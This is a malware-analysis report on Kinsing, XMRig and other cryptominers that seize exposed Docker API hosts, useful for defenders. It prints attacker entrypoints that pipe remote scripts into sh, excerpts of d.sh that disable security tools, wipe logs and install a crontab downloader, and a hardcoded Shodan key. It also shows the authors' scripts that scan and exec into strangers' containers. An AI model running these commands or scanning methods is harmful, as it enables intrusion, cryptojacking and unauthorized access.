Docker Cryptomining Report

Outline:

I- Introduction:

Our journey to find out more about cryptomining and cloud security started with our investigation on docker container attacks. According to shodan, there were several hosts with open docker API ports that allow remote access to docker Daemon with no prior authentication needed. All information on port 2375 is not encrypted and all docker commands executed on the host are allowed.
During the first days of our investigation, we used to manually search port:2375 product:"docker"on Shodan to discover all open ports in the world. We can then categorize by country or region according to our needs. We then extract the host IP, perform a manual test on running containers with `"docker -H <ip> ps"`. Afterwards, we pick one container from the, usually large, list of running containers. We perform some tests such as resource usage through `"docker -H <ip> <container> stats"`.

II-Threat Actors:

1- Threat Actor 1: Kinsing

Target	Open Docker Daemon API Port 2375
Toolset	- Ubuntu latest container - d.sh malicious script - Kinsing malware - Kdevtmpfsi monero miner
Impact	Abusing system resources to mine cryptocurrency

TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: Official latest Ubuntu image- T1059 Command and Scripting Interpreter: d.sh script in container entrypoint - Persistence: T1053 Local Job Scheduling: download d.sh every minute from C&C - Defense Evasion: T1562.001 Disabling Security Tools: Linux and Cloud tools T1222 File and Directory Permission Modification T1070.004 File Deletion - Command and Control: T1071.001 Web protocol: Different C&Cs to download d.sh and kinsing malware and Update pool - Impact:T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:

- Open Docker Daemon API Port 2375

Toolset:

- Ubuntu latest container
- d.sh malicious script
- Kinsing malware
- Kdevtmpfsi monero miner

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: Official latest Ubuntu image- T1059 Command and Scripting Interpreter: d.sh script in container entrypoint
- Persistence: T1053 Local Job Scheduling: download d.sh every minute from C&C
- Defense Evasion: T1562.001 Disabling Security Tools: Linux and Cloud tools / T1222 File and Directory Permission Modification / T1070.004 File Deletion
- Command and Control: T1071.001 Web protocol: Different C&Cs to download d.sh and kinsing malware and Update pool
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Kinsing is a malware written in Go language and it serves as a convoy to a cryptominer.
In the case of strong running kinsing containers, we can find staggering CPU usages from 50 to 700% which is not very familiar in docker ubuntu containers. Our interest sparked after performing `”docker -H <ip> <container> logs”` which clearly showed us

instructions being executed such as killing processes, disabling ufw and cron jobs implementations. We couldn't understand everything but it was a very good starting point. Now we know the king is still singing and mining.

However, this daily procedure was very tiring, it consumed a lot of energy and time that can be used to understand the kinsing container logs and get a hold of the TTP. Therefore, we managed to create a python script that automates the daily IP harvest in China only.

Search_open_docker.py:

```
import shodan

# Replace 'YOUR_API_KEY' with your Shodan API key
api_key = 'z8r6sP0k8MzLplOxbYtxrSHiFFCxtmDI'

# Create a Shodan API object
api = shodan.Shodan(api_key)

# Search query to find IP addresses with port 2375 open and Docker app
running
query = 'port:2375 product:"docker" country:CN'

try:
    # Perform the Shodan search
    results = api.search(query, limit=1000) # Change the limit as needed

    # Iterate through the results and print IP addresses
    for result in results['matches']:
        print("IP: {}".format(result['ip_str']))

except shodan.APIError as e:
    print("Error: {}".format(e))
```

The script was then utilized in another shell script that automates all the information gathered on all running containers on the open docker hosts.

```
filedate=$(date "+%d%m%Y")
`python3 ./search_open_docker.py |awk '{print $NF}' >
shodan_harvest_"$filedate"_ips`

`masscan -iL shodan_harvest_"$filedate"_ips -p2375 >
shodan_harvest_"$filedate"_ips_live`

`more shodan_harvest_"$filedate"_ips_live|awk '{print $NF}' >
shodan_harvest_"$filedate"_ips_live_ips`
```

Kinsing is usually executed on containers which are running instances of Ubuntu latest image. At first glance, nothing was suspicious about it. Upon further digging through the command “`docker -H <ip> ps –no-trunc`”, used to expand on the entrypoint of each container, we observed “`/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 95.142.47.27/d.sh | sh;tail -f /dev/null`”

- The code ran apt-get inside a running container. This is not a normal behavior since all of your packages’ installation/update should be done earlier, only once, when building the image.
- Starting cron services inside a running container is also abnormal. You should run periodic tasks at the orchestrator level, using CronJob or Jobs.
- Downloading a shell script called d.sh from an unknown IP address also looks suspicious. Having an IP and downloading a script in the container entrypoint are abnormal.
- The code ran tail -f /dev/null in order to keep the container running.

(d.sh) is the malicious script that is responsible for launching the kinsing attack. Its execution fulfills these purposes:
- Disables security measures.

```
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
userdel akay
userdel vfinder
```

- Clears logs.

```
rm -rf /var/log/syslog
echo "nope" >/tmp/log_rot
ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill
-9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}'
| xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}'
| xargs -I % kill -9 %
killall log_rot
pkill -f log_rot
rm -rf /tmp/log_rot
rm -rf /tmp/syslogd
rm -rf /tmp/syslogdb
rm -rf /tmp/logo9.jpg
```

- Kills numerous applications, notably other malwares and cryptominers.

```
ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}'
| xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}'
| xargs -I % kill -9 %
ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' |
xargs -I % kill -9 %
ps aux | grep -vw kdevtmpfsi | grep -v grep | awk '{if($3>80.0) print
$2}' | xargs -I % kill -9 %

systemctl stop c3pool_miner.service
pkill -f minerd
pkill -f minergate
pkill -f minerd
```

- Deletes files related to other malwares/cryptominers, most of them from the /tmp directory.

```
rm -rf /tmp/miner.sh
```

- Kills running rival malicious Docker containers and deletes their image.

```
docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi
-f %
```

- Downloads the ‘kinsing’ malware and runs it.

```
BIN_DOWNLOAD_URL="http://194.38.20.106/kinsing"
BIN_DOWNLOAD_URL2="http://194.38.20.106/kinsing"
```

- Uses crontab to download and run the shell script every minute.

```
 echo "* * * * * $LDR http://185.122.204.197/d.sh | sh > /dev/null 2>&1"
```

- Looks for other commands running in cron, and if ones were identified, deletes all cron jobs, including its own.

```
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
```

Per Sysdig [1], Kinsing utilizers several GO libraries:

- go-resty – an HTTP and REST client library, used to communicate with a Command and Control (C&C) server.
- gopsutil – a process utility library, used for system and processes monitoring.
- osext – extension to the standard ‘os’ package, used to execute binaries.

- diskv – A disk-backed key-value store, for storage.

Kinsing proceeds to create a crypto miner called kdevtmpfsi.
The mining process occupies the whole host resources, without consent of course, and utilizes most of the network bandwidth or most of the CPU.

We noticed that kdevtmpfsi miners heavily impact the resources through 400 to 700% and even 2000% of CPU usage.

We came across different C2s in the containers entrypoints which are used to download d.sh, the malicious script that initiates the attack. Each time we try to download the script for further investigation, the C2 refuses connection. Apparently the threat actor turns it off when it's not being used until it's called again to redownload the script elsewhere. The C2s in the entrypoint do not match the IPs in d.sh which are used to download kinsing.

Kinsing on virustotal:
https://www.virustotal.com/gui/file/787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c/details
Kdevtmpfsi on virustotal:
https://www.virustotal.com/gui/file/6fc94d8aecc538b1d099a429fb68ac20d7b6ae8b3c7795ae72dd2b7107690b8f/details

We had to manually check each IP we harvested from shodan API, this was a very tedious process that consumed a lot of work, time which could have been dedicated to better understanding kinsing and how it works. Alongside reading the numerous blogs, understanding how d.sh works and investigating open hosts, we couldn't keep up. Therefore, we decided to create a shell script which automates this process.

```
while read -r ip; do
echo -e "\033[31mProcessing IP: $ip\033[0m"
echo -e "\033[31mIP: $ip\033[0m" >> "outputs/"$outputfolder"/"$ip""
cmd="ps "

containers=$(timeout 10 docker -H "$ip" ps -- no-trunc -- format "{{. ID}}" -q 2>/dev/null)
if [ $? -eq 124 ]; then
echo "Command on $ip took more than 10 seconds. Moving to the next IP."
echo -e "\033[97; 48; 5;197m$ip Not alive, Skipping\033[0m" >> "outputs/"$outputfolder"/"$ip""
continue
fi
for container in $containers; do
status="$(timeout 15 docker -H "$ip" inspect -f '{{.State. Status}}' "$container" 2>/dev/null)"
image="$(timeout 15 docker -H "$ip" inspect -f '{{.Config. Image}}' "$container" 2>/dev/null)"
container_command="$(timeout 15 docker -H "$ip" inspect -format '{{.Config. Entrypoint}} : {{.Config.Cmd}}' "$container"
2>/dev/null)"
if [ "$status" == "running" ]; then
echo -e "\033[36mIP: $ip -- Image of container up: $image -- Container ID: $container\033[0m" >>
"outputs/"$outputfolder"/"$ip'
echo -e "\033[42;37mContainer is running with this entrypoint: $container_command \033[0m" >> "outputs/"$outputfolder"/"$ip""
resource_usage="$(timeout 15 docker -H "$ip" stats -- no-stream "$container" 2>/dev/null)"
# NETWORKING VARS
tcp_content="$(timeout 15 docker -H "$ip" exec "$container" cat /proc/net/tcp 2>/dev/null)"
ps_aux="$(timeout 15 docker -H "$ip" exec "$container" ps aux 2>/dev/null)"
#lsof_output="$(timeout 15 docker -H "$ip" exec "$container" lsof -i 2>/dev/null)"
#ss_output="$(timeout 15 docker -H "$ip" exec "$container" ss -ltn 2>/dev/null)"
#kernel="$(timeout 15 docker -H "$ip" exec "$container" uname -a 2>/dev/null)"
echo -e "\033[43m ****** Kernel & OS :****** \033[0m" >> "outputs/"$outputfolder"/"$ip""
echo "$kernel" >> "outputs/"$outputfolder"/"$ip""
echo -e "\033[45m ****** Resource Usage :****** \033[0m" >> "outputs/"$outputfolder"/"$ip""
echo "$resource_usage" >> "outputs/"$outputfolder"/"$ip""

echo -e "\033[46m ****** Interactions :****** \033[0m" >> "outputs/"$outputfolder"/"$ip""

echo -e "\033[46m ** /proc/net/tcp content :** \033[0m" >> "outputs/"$outputfolder"/"$ip""
echo "$tcp_content" >> "outputs/"$outputfolder"/"$ip""

echo -e "\033[47;30m ****** Processes :****** \033[0m" >> "outputs/"$outputfolder"/"$ip""
echo "$ps_aux" >> "outputs/"$outputfolder"/"$ip""
#echo -e "\033[46m ** lsof -i command output :** \033[0m" >> "outputs/"$outputfolder"/"$ip""
#echo "$lsof_content" >> "outputs/"$outputfolder"/"$ip""

#echo -e "\033[46m ** ss -ltn command output :** \033[0m" >> "outputs/"$outputfolder"/"$ip""
#echo "$ss_content" >> "outputs/"$outputfolder"/"$ip""
```

In this script we attempt to:

- Utilize the IPs gathered from the previous Python script to scan all running containers and grab their IDs on different IPs through `"docker -H IP:2375(optional) ps –no-trunc –format "{{.ID}}" -q 2>/dev/null"`. If the command takes

more than 10 seconds, the IP address is skipped because it is probably not accessible.

- The script then proceeds to collect more information about the containers such as its status (running, stopped) (`"Config.Status"`), its image (`"Config.Image"`), entrypoint and command (`"Config.Entrypoint" "Config.Cmd"`). These pieces of information will then be displayed in the header of the container details.
- For more facts about the containers and what they do, we move to getting a hold of container resources such as CPU, RAM, Disk I/O and Network I/O. We will of course need any information about the container process and network interactions thanks to the `"/proc/net/tcp"`file.

All this information will then be distributed in a major directory named `outputs` which will have several other sub-directories named after the date, such as `10-04-2024` for the 10th of April. These directories will contain several files named after the IPs of hosts that are open and are potentially infected thus inspected by our script.
We expected to see high CPU usage, high network I/O, high block I/O from containers infected with kinsing, however, to our surprise, we found other attacks that were utilizing resources to mine cryptocurrencies.

2- Threat Actor 2: Pause Dero miner

Target	Open Docker Daemon API Port 2375
Toolset	- container from nohuppo/pause:latest image - entrypoint.sh malicious script - Pause malware to mine monero.
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: nohuppo/pause:latest image T1059 Command and Scripting Interpreter: entrypoint.sh script in container entrypoint - Command and Control: T1071.001 Web protocol: Update mining pool HTTP - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:

- Open Docker Daemon API Port 2375

Toolset:

- container from nohuppo/pause:latest image
- entrypoint.sh malicious script
- Pause malware to mine monero.

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: nohuppo/pause:latest image - T1059 Command and Scripting Interpreter: entrypoint.sh script in container entrypoint
- Command and Control: T1071.001 Web protocol: Update mining pool HTTP
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

The Dero miner deploys containers from dockerhub image called nohuppo/pause:latest with this entrypoint `"/bin/sh -c ./entrypoint.sh –privileged"`. To dig deeper into this matter, we executed the container with a shell access to investigate the contents of entrypoint.sh

```
#! /bin/bash
echo “ok”
sleep 10
./pause
```

Then it proceeds to launching the dero mining malware called pause which also updates the mining pool from within the same malware and the same container like this:

```
DERO MINER: Height 2907390 BLOCKS 5 MiniBlocks 49 Reject
```

For more information, we ran netstat inside the container to unveil these established communications:

```
154.26.138.136:10300
vmi1202503.contab:10300
```

These communications are established through PID 8 which is the ./pause process. We suspect that this is the mining pool IP address.
This mining method is CPU intensive and takes over most of the container's resources.

3- Threat Actor 3: Github

Target	Open Docker Daemon API Port 2375
Toolset	- container from ubuntu latest image

	- setup_moneroocean_miner.sh malicious script - xmrig miner
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: Ubuntu image T1059 Command and Scripting Interpreter: setup_moneroocean_miner.sh script in container entrypoint - Command and Control: T1071.001 Web protocol: Update mining pool --> 45cXaoCzKFGiGUheW6CBXfaun6SPtRXsv2WkHBHBsk2Nhf3NYGq3PK8h1sMngLbZhHXAtm6GDUPH6GUg2TcuepBvPSyQfPv - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:

- Open Docker Daemon API Port 2375

Toolset:

- container from ubuntu latest image
- setup_moneroocean_miner.sh malicious script
- xmrig miner

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: Ubuntu image - T1059 Command and Scripting Interpreter: setup_moneroocean_miner.sh script in container entrypoint
- Command and Control: T1071.001 Web protocol: Update mining pool
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

The attacker launches a ubuntu latest version container with a special entrypoint:

```
“bash -c apt update && apt install -y curl && apt install -y systemctl && apt install -y util-linux && apt install -y systemd && curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 45cXaoCzKFGiGUheW6CBXfaun6SPtRXsv2WkHBHBsk2Nhf3NYGq3PK8h1sMngLbZhHXAtm6GDUPH6GUg2TcuepBvPSyQfPv”
```

As we can see from this entrypoint, the miner updates the system then proceeds to install some tools before downloading the monero miner from a github repository then executes a file that appears to be an address of a monero wallet

Upon listing the container logs, we uncovered a XMRig/6.20.0 gcc/9.3.0 miner which also updates a pool named `" youknowitsme.ddns.net:443"` but shows failed connections to IP `"178.187.230.111"`which we believe are fake logs because the containers keeps running for several days, attains a high CPU range and then keeps on mining which negates the option of any failure in the full mining process and the IP which the miner is trying to establish a connection to is reachable.

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh

`setup_moneroocean_miner.sh`

The script is designed to set up a mining operation for MoneroOcean, a cryptocurrency mining pool. It starts by greeting the user and displaying the version of the script. It also provides an email address for support.

Initial Checks and Setup
Root User Warning:
If you're running this as the system's root user, it warns you that this might not be the best idea.

Gathering Information:
The script asks for two pieces of information: your Monero wallet address and, optionally, your email address. These are necessary to direct any mined cryptocurrency to the right place and to modify wallet options later.

Prerequisite Checks:
Wallet Address: Checks if you've provided your Monero wallet address. If not, it stops and tells you how to run the script correctly.
Wallet Address Length: Makes sure the wallet address is of a specific length; otherwise, it indicates an error.
Home Directory: Confirms that your home directory is set and exists. If not, it guides you on how to set it.
Necessary Tools: Verifies the presence of essential tools like curl (for downloading files) and lscpu (for CPU information). If these aren't available, the script will stop.

Mining Configuration:
Calculates the number of CPU threads available and estimates the hash rate (the speed at which your computer can mine).
Based on the hash rate, it computes a network port for the mining operation. If it can't do this or the computed port is not within the expected range, the script stops.
Preparing for Mining

Informing the User:
Explains what the script will do next, including downloading and setting up the miner in the background, and clarifies that mining will use the provided wallet.

Download and Setup:
Removes any previous versions of the mining software.
Downloads the latest mining software to your computer and checks if it's functional. If the download fails or the software doesn't work, it attempts to find and install an alternate version.

Configuration:
Sets up the mining software with your wallet address and, if provided, your email address. It also adjusts settings for optimal mining performance and logs.
Final Steps

Script Creation for Mining:
Creates a new script to start the miner, ensuring it doesn't run multiple instances.

Background Operation and Auto-Start:
If the script can't perform operations without a password (sudo), it adds the mining script to your login profile so it will start automatically when you log in. Otherwise, it sets up the mining operation to run in the background as a system service, including after reboots.

Optimization Tips:
Provides recommendations for limiting CPU usage, especially important on shared systems to prevent being banned for excessive resource use.

Completion:
Signals that the setup is complete and offers final advice on managing CPU usage for efficient mining.

4- Threat Actor 4: Robbertignacio

Target	Open Docker Daemon API Port 2375
Toolset	- container from robbertignacio328832/oracleiv_latest image - oracle.sh malicious script
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: robbertignacio328832/oracleiv_latest image T1059 Command and Scripting Interpreter: oracle.sh script in container entrypoint - Command and Control: T1071.001 Web protocol: RUN/bin/sh -c wget http://46.166.185.231:4040/oracle.sh -P /home/; # buildkit RUN /bin/sh -c busybox wget http://46.166.185.231:4040/oracle.sh -P/home/ || true; # buildkit RUN/bin/sh -c wget http://46.166.185.231:4040/xmrig -P/home/; # buildkit - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:

- Open Docker Daemon API Port 2375

Toolset:

- container from robbertignacio328832/oracleiv_latest image
- oracle.sh malicious script

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: robbertignacio328832/oracleiv_latest image - T1059 Command and Scripting Interpreter: oracle.sh script in container entrypoint
- Command and Control: T1071.001 Web protocol:

RUN/bin/sh -c wget http://46.166.185.231:4040/oracle.sh -P /home/; # buildkit
RUN /bin/sh -c busybox wget http://46.166.185.231:4040/oracle.sh -P/home/ || true; # buildkit
RUN/bin/sh -c wget http://46.166.185.231:4040/xmrig -P/home/; # buildkit

- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Robbetignacio has been recently reported as a very known DDoS bot that is executed on docker containers. Once we noticed it in some of the victim hosts, we decided to have a deeper look into it.

The attacker launches a container from a dockerhub deployed image named `"robbertignacio328832/oracleiv_latest"` with an entrypoint `"bash -c './oracle.sh'"`.
The file executed in the entrypoint is an ELF which has been reported before on virus total. However, the container never really surpassed 0% in CPU usage and kept either restarting or running for days with no visible CPU usage increase. We decided to look deeper into the container logs which were filled with different types of errors every day for a few months.

```
sh: 1: sysctl: not found
sh: 1:./xmrig: Permission denied
bash: line 1: 7 Segmentation fault
(core dumped)./oracle.sh
```

```
sh: 1: sysctl: not found
sh: 1:./xmrig: Permission denied
list index out of range
list index out of range
list index out of range
list index out of range
```

```
list index out of range
list index out of range
```

```
sh: 1: sysctl: not found
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python3.9/threading.py", line 954, in _bootstrap_inner
self.run()
File "/usr/lib/python3.9/threading.py", line 892, in run
self._target(*self._args, **self._kwargs)
File "bot.py", line 386, in bot.main
TimeoutError: [Errno 110] Connection timed out
bash: line 1: /docker-entrypoint.sh: No such file or directory
```

The image was pulled about 3000 times before it was taken down by dockerhub admins which keeps us wondering whether the logs were fake and something was running unnoticed or it was a failed attempt of adding monero mining to the DDoS bot.
Where we learned about robbertignacio DDoS bot on Docker: [OracleIV - A Dockerised DDoS Botnet]

Oracle.sh on virustotal: https://www.virustotal.com/gui/file/3861613383275fafda1c09982a0e17a5afbe7f42b68976a11c56cdb9273cef09

5- Threat Actor 5: Kazutod

Target	Open Docker Daemon API Port 2375
Toolset	- container from kazutod/zep:3 image - ./sys/lib malicious script to mine.
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: kazutod/zep:3 image T1059 Command and Scripting Interpreter: ./sys/lib in container entrypoint - Defense Evasion: T1036 Masquerading: Changed the xmrig miner malware name to /sys/dig - Command and Control: T1071.001 Web protocol: Update mining pool: kaz.ninja:1337 TLSv1.3 and 31.220.94.249 and vmi1256589.contaboserver.net

	- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:
- Open Docker Daemon API Port 2375

Toolset:
- container from kazutod/zep:3 image
- ./sys/lib malicious script to mine.

Impact:
- Abusing system resources to mine cryptocurrency

TTPs:
- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: kazutod/zep:3 image - T1059 Command and Scripting Interpreter: ./sys/lib in container entrypoint
- Defense Evasion: T1036 Masquerading: Changed the xmrig miner malware name to /sys/dig
- Command and Control: T1071.001 Web protocol: Update mining pool: kaz.ninja:1337 TLSv1.3 and 31.220.94.249 and vmi1256589.contaboserver.net
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

This miner deploys a container from an image on dockerhub called `"kazutod/zep:3"`with an entrypoint `"./sys/lib"`. The attacker attempted a defense evasion method through renaming their malware to a name that resembles legitimate Linux files. We found out their illegitimacy through the container logs which showed around 200% of CPU usage.

Just as we listed the container logs, we uncovered the following:
The attacker is using `XMRig/6.21.0 gcc/5.4.0` to mine monero cryptocurrency. They use `kaz.ninja:1337` as their mining pool which can be reached on `31.220.94.249`. We then uncovered jobs from the mining pool in which the height of the chain is increased.

```
net new job from kaz.ninja: 1337 diff 4206K algo rx/0 height 127468
miner speed 10s/60s/15m 1305.0 1304.3 n/a H/s max 1305.3 H/s
net new job from kaz.ninja: 1337 diff 3365k algo rx/0 height 127468
miner speed 10s/60s/15m 1308.0 1306.3 n/a H/s max 1308.3 H/s
miner speed 10s/60s/15m 1305.7 1306.5 n/a H/s max 1308.5 H/s
net new job from kaz.ninja: 1337 diff 3365K algo rx/0 height 127469
```

For more information, we applied netstat into the container to find out that the `"./sys/lib"`miner also establishes connections with other IPs such as:

```
vmi1256589.contabo:1337 ESTABLISHED 1/./sys/lib
199.247.27.41.vult:3333 SYN_SENT 1/./sys/lib
199.247.27.41.vultr: 443 SYN_SENT 1/./sys/lib

101.132.228.226:3030 ESTABLISHED -
ec2-3-68-82-213.e:58724 ESTABLISHED -
ec2-3-68-82-213.0:58716 ESTABLISHED -
ec2-3-68-82-213.e:36622 ESTABLISHED -
```

Now we have to keep in mind that this attacker actually targeted a pod inside of a Kubernetes cluster. We knew this information by noticing the `"K8-Node1"` in the container command interpreter. Talk about damage to the whole infrastructure and workload.
This is a confirmed mining method with a lot of evidence in the case against it.

6- Threat Actor 6: PMietlicki

Target	Open Docker Daemon API Port 2375
Toolset	- container from piemitlicki/monero-miner image - script.sh malicious script - xmrig to mine monero.
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: piemitlicki/monero-miner image T1059 Command and Scripting Interpreter: script.sh script in container entrypoint to run xmrig - Persistence: T1053 Local Job Scheduling: Container set to work for all days of the week from image layers - Defense Evasion: T1027 Obfuscated Files or Information: Fake logs about mining pool not reachable - Command and Control: T1071.001 Web protocol: Update mining pool: xmrigi.hopto.org:8030 - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:
- Open Docker Daemon API Port 2375

Toolset:
- container from piemitlicki/monero-miner image
- script.sh malicious script
- xmrig to mine monero.

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: piemitlicki/monero-miner image - T1059 Command and Scripting Interpreter: script.sh script in container entrypoint to run xmrig
- Persistence: T1053 Local Job Scheduling: Container set to work for all days of the week from image layers
- Defense Evasion: T1027 Obfuscated Files or Information: Fake logs about mining pool not reachable
- Command and Control: T1071.001 Web protocol: Update mining pool: xmrigi.hopto.org:8030
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Pmietlicki, or who we used to call the friendly miner, deploys a docker container from an image on dockerhub called `"pmietlicki/monero-miner"` with an entrypoint `"/bin/bash -c './script.sh monero xmrigi.hopto.org:8030 4AMKZXKCFx2doquEXv1EYAXENCWqpJDKLcrjbN2PVyvHeodiaiJeHYWEBKyi.JQhqxNQh2hFzbTxdz9Zkqqm7N7QRUqCLBmn rancher 100 false 2100 0600"`. We couldn't understand a lot of these parameters and what they mean, so we had to check 2 things, the image description on dockerhub, which had a very detailed walkthrough of the mining layers and the script.sh which explained with details every parameter to the script.

```
#!/bin/bash
algoMode=$1
poolUrl=$2
poolUser=$3
poolPW=$4
maxCpu=$5
useScheduler=$6 # true / false
startTime=$7 #e.g. 1530 or 1100 for time
stopTime=$8 #e.g. 1530 or 1100 for time
days=$9 #e.g. "Tuesday,Friday"
options=${10}
miner="./xmrig"
```

From this context we can understand:

- `"Monero"` is the algomode
- `"xmrigi.hopto.org:8030"` is the poolURL
- `"4AMKZXKCFx2doquEXv1EYAXENCWqpJDKLcrjbN2PVyvHeodiaiJeHYWEBKyi.JQhqxNQh2hFzbTxdz9Zkqqm7N7QRUqCLBmn"` is the poolUser
- `"rancher"` is the pool password

- `"100"` is the max CPU set by the miner
- `"false"` is the schedule mode
- `"2100 and 0600"` are the start time and stop time, from 9pm to 6pm which is usually outside of business hours and people activity.
- The mining days weren't mentioned which means, according to script.sh, that the mining process must work all days of the week.

script.sh then proceeds to launch a `"xmrig"` process with the same parameters that it received at container launch. This is, therefore, a defense evasion mechanism. The attacker wanted to hide the `"./xmrig"` process from appearing in the container entrypoint so they decided to launch it through a script.

The reason why we used to call this method, the "friendly miner" is because the process itself does not target and kill any competing processes or security tools. It also does not bypass the CPU limit like kinsing attackers usually do. In addition to that, we believe that the dockerhub image serves the purpose of legitimate monero mining. It can be launched after business hours, everyday and keep a stable CPU usage. However, it was wrongfully used by attackers to exploit machine resources without consent as we can see from our case on docker containers.

Now, we needed to dive deeper into details with this attacking method, we inspected the containers logs which showed us that it's using `"XMRig/6.18.0 gcc/10.2.1"` with 96% of memory but the connection to `"xmrigi.hopto.org:8030"` keeps on failing:

```
[2023-11-27 18:37:11.329] net xmrigi.hopto.org:8030 connect error: "operation canceled"
[2023-11-27 18:37:37.396] net xmrigi.hopto.org:8036 connect error: "operation canceled"
[2023-11-27 18:38:03.501] net xmrigi.hopto.org:8030 connect error: "operation canceled"
[2023-11-27 18:38:28.603] net xmrigi.hopto.org:8030 connect error: "operation canceled"
[2023-11-27 18:38:54.650] net xmrigi.hopto.org:8030 connect error: "operation canceled"
```

We believed that this is a mere fake logs situation so we decided to dig deeper into network interactions established by the container.

```
222.253.100.105:6379
222.253.101.176:6379
31.220.94.249:1337
222.253.100.252:6379
93.23.115.93:2375
93.23.0.165:2375
```

2375 is the open docker API port which allows a remote connection to docker daemons. Is the attacker trying to connect to other hosts through this infected container?

We also believe that `"31.220.94.249:1337"` is the actual IP for the mining pool.

Xmrig on virustotal: https://www.virustotal.com/gui/file/dba319f225e6cc9c0c21dace7f8e451f5d16353d67bf814e5e0e13066d22bf78

7- Threat Actor 7: systemaudit/docker_system

Target	Open Docker Daemon API Port 2375
Toolset	- container from systemaudit/docker_system image - xmrig to mine monero.
Impact	Abusing system resources to mine cryptocurrency
TTPs	- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375 - Execution: T1610 Deploy Container: systemaudit/docker_system image T1059 Command and Scripting Interpreter: ./xmrig in container entrypoint - Persistence: T1136: Create Account: Mining process executed by user: mining - Command and Control: T1071.001 Web protocol:Update mining pool: youknowitsme.ddns.net:443 -u and In dockerhub layer: -o kontolodon:332 - Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

Target:

- Open Docker Daemon API Port 2375

Toolset:

- container from systemaudit/docker_system image
- xmrig to mine monero.

Impact:

- Abusing system resources to mine cryptocurrency

TTPs:

- Initial Access: TT1190 Exploit public facing application: Exploit open Docker API to access Docker Daemon through port 2375
- Execution: T1610 Deploy Container: systemaudit/docker_system image - T1059 Command and Scripting Interpreter: ./xmrig in container entrypoint
- Persistence: T1136: Create Account: Mining process executed by user: mining
- Command and Control: T1071.001 Web protocol:Update mining pool: youknowitsme.ddns.net:443 -u and In dockerhub layer: -o kontolodon:332
- Impact: T1496 Resource Hijacking: Mining Process occupying host resources without consent

